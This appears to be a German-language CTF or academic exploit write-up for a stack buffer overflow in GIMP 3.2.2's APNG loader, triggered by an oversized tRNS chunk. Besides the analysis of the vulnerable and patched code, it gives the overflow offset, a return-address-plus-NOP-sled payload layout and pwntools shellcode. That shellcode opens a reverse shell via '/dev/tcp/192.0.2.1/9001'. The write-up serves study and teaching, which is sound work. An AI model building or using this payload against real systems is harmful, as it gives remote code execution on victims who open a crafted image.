GIMP 3.2.2 enthält einen stackbasierten Pufferüberlauf im APNG-Loader (load_apng_image) bei der Verarbeitung des tRNS-Chunks (Transparenz). Diese Ausarbeitung demonstriert einen Proof of Concept für Remote-Code-Execution unter Ausnutzung dieser Schwachstelle.
tRNS Stack Buffer Overflow → RCEAutor: Chloe Xu, Abby Farrell, George Avdella, Austin Chan
Datum: 2026-11-03
Ziel: GIMP 3.2.2 (Linux x86_64)
CVE: CVE-2026-92183 (7.8 HIGH)
CWE: CWE-121: Stack-based Buffer Overflow
Auswirkung: Remote Code Execution (über eine bösartige PNG/APNG-Datei)
Haftungsausschluss: Dieser Writeup dient ausschließlich Bildungszwecken. Die CVE- und Versionsnummern stammen aus einer kontrollierten akademischen/CTF-Übung. Verwenden Sie dies nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben.
GIMP 3.2.2 enthält einen stackbasierten Pufferüberlauf in seinem APNG-Loader (load_apng_image) bei der Verarbeitung des tRNS-Chunks (Transparenz). Die Chunk-Länge wird ohne Validierung gegen den festen 256-Byte-Zielpuffer trns[256] vertraut, wodurch ein Angreifer den Stack überschreiben und die Kontrollflussübernahme erlangen kann.
Der bestehende öffentliche Writeup demonstriert lediglich eine Denial-of-Service-Attacke (GIMP stürzt ab). Dieses Dokument erweitert die Analyse zu einem vollständigen Reverse-Shell-Exploit durch:
acTL/fcTL-Chunks auf den APNG-Parsing-Pfad zwingt.tRNS-Chunks, dessen Länge 256 Bytes überschreitet.Der Exploit geht von einer nicht gehärteten Umgebung aus (ASLR deaktiviert, NX deaktiviert, kein Stack-Canary), wie in den Referenzfolien beschrieben. Wir erörtern außerdem, warum diese Schutzmaßnahmen wichtig sind und wie sich der Exploit verhält, wenn sie aktiviert sind.
Eine PNG-Datei besteht aus Chunks:
| Feld | Größe |
|---|---|
| Länge | 4 Bytes (Big-Endian) |
| Chunk-Typ | 4 Bytes (ASCII) |
| Chunk-Daten | Length Bytes |
| CRC | 4 Bytes |
APNG erweitert PNG um zusätzliche Ancillary-Chunks:
acTL (Animation Control) — kennzeichnet die Datei als APNG. Muss vor dem ersten IDAT erscheinen.fcTL (Frame Control) — geht den Daten jedes Frames voraus.fdAT (Frame Data) — enthält Frame-Daten (Alternative zu IDAT für nachfolgende Frames).GIMPs PNG-Plugin (file-png) verzweigt zu load_apng_file, wenn es einen acTL-Chunk sieht, selbst wenn die Dateiendung .png ist.
Aus dem Patch-Diff:
Verwundbare Version (GIMP 3.2.2):
else if (png_id == id_tRNS)
{
for (gint i = 0; i < chunk.size; i++)
trns[i] = chunk.data[i + 8];
}
Gepatchte Version (GIMP 3.2.6):
gint transparent_size = MIN(chunk.size, 256);
for (gint i = 0; i < transparent_size - 8; i++)
trns[i] = chunk.data[i + 8];
Der Zielpuffer ist deklariert als:
guchar trns[256];
Da chunk.size direkt aus der Datei gelesen wird und nicht begrenzt ist, läuft ein tRNS-Chunk mit size > 256 über trns[] auf dem Stack über. Der Offset + 8 zeigt an, dass chunk.data auf den Anfang des Chunks zeigt (einschließlich des 8-Byte-Headers aus Länge und Typ), sodass chunk.data[i + 8] die tatsächlichen Datenbytes liest.

Wenn eine Datei geöffnet wird, wählt der GIMP-Kern den Loader aus, bevor irgendein Plug-in-Code ausgeführt wird. file_open_pre_check() ruft gimp_plug_in_manager_file_procedure_find() auf, das anhand der Erweiterung oder der Magic-Bytes abgleicht. Eine .apng-Datei wird an file-apng-load weitergeleitet, und eine Datei mit der PNG-Signatur wird an file-png-load weitergeleitet. Der Kern führt die gewählte Prozedur über gimp_plug_in_manager_call_run() aus, das das file-png-Plug-in als Kindprozess startet und den Prozedurnamen sowie die Argumente über eine Pipe sendet. Im Kindprozess wird immer zuerst load_image() ausgeführt, das die Basis-PNG-Ebene aufbaut. Anschließend ruft apng_load() bedingungslos load_apng_image() auf. png_load() ruft es nur auf, wenn load_image() einen png/fcTL-Chunk gesehen hat. load_apng_image() öffnet die Datei erneut und parst die Chunks selbst, sodass der vorherige libpng-Durchlauf für sie nichts validiert. png_load() ignoriert zudem seinen Rückgabewert und meldet in beiden Fällen Erfolg.
Der Kindprozess wird von gimp_spawn_async() erzeugt, das auf POSIX-Systemen vfork() und dann sofort execve() aufruft (app/core/gimp-spawn.c:171-199). execve() verwirft die Speicherzuordnungen des Kindprozesses und lädt die file-png-Binärdatei und ihre Bibliotheken von Grund auf neu. Der Kindprozess enthält daher weder Heap noch Stack des Elternprozesses, und auf Systemen mit ASLR erhält er bei jedem Öffnen eines Bildes ein frisches Adresslayout. Was den exec überlebt, sind die Prozess-ID, die Benutzerrechte, die von GIMP übergebene Umgebung und alle Dateideskriptoren, die nicht als close-on-exec markiert sind. Dazu gehören die beiden auf der Kommandozeile übergebenen Pipe-Enden. Die eigenen Pipe-Enden des Elternprozesses sind als close-on-exec markiert, damit der Kindprozess sie nicht erbt. Dies isoliert den Speicher, sandboxt den Kindprozess jedoch nicht. Ein kompromittierter Kindprozess kann weiterhin als der Benutzer ausgeführt werden, dieselben Dateien lesen und dem Elternprozess über die Pipe und den gemeinsamen Speicher manipulierte Nachrichten und Tile-Daten senden.
Der Stack-Frame der verwundbaren Funktion (vereinfacht, kompiliert mit -O2 -z execstack -fno-stack-protector):
+------------------+ <- lower addresses
| trns[256] | (offset 0)
+------------------+
| ... |
| saved RBP |
| saved RIP | <- return address
+------------------+ <- higher addresses
Der exakte Offset vom Anfang von trns zur gespeicherten Rücksprungadresse hängt vom Compiler und den umgebenden lokalen Variablen ab. In der Referenzumgebung beträgt er 312 Bytes. Wir haben dies ermittelt durch:
tRNS-Daten.RIP beim Absturz und Berechnen des Offsets mit cyclic_find().Bei -O2 wird der Schleifeniterator i wahrscheinlich in einem Register gehalten, sodass er nicht zwischen dem Puffer und der Rücksprungadresse liegt. Der 312-Byte-Offset berücksichtigt trns[256] plus Ausrichtung und andere gespeicherte Register.
Die tRNS-Daten sind:
[ 312 bytes 'A' ] [ 8-byte return address ] [ 1410 bytes NOP sled ] [ shellcode ]
trns und erreicht die gespeicherte Rücksprungadresse.0x7ffffffffdeb2 + 0x10 (zeigt in den NOP-Sled).execve("/bin/bash", ...) aus, um eine Reverse Shell zu starten.Shellcode (generiert mit pwntools):
context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
'/bin/bash',
['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
{'PATH': '/usr/bin:/bin'}
))
Der execve ersetzt den file-png-Kindprozess durch eine Shell. Da GIMP einen Kindprozess für die Plugin-Ausführung forkt, überlebt die Shell unabhängig vom Haupt-GIMP-Prozess (der hängt und auf das Plugin wartet). Der Angreifer erhält eine Reverse Shell auf Port 9001.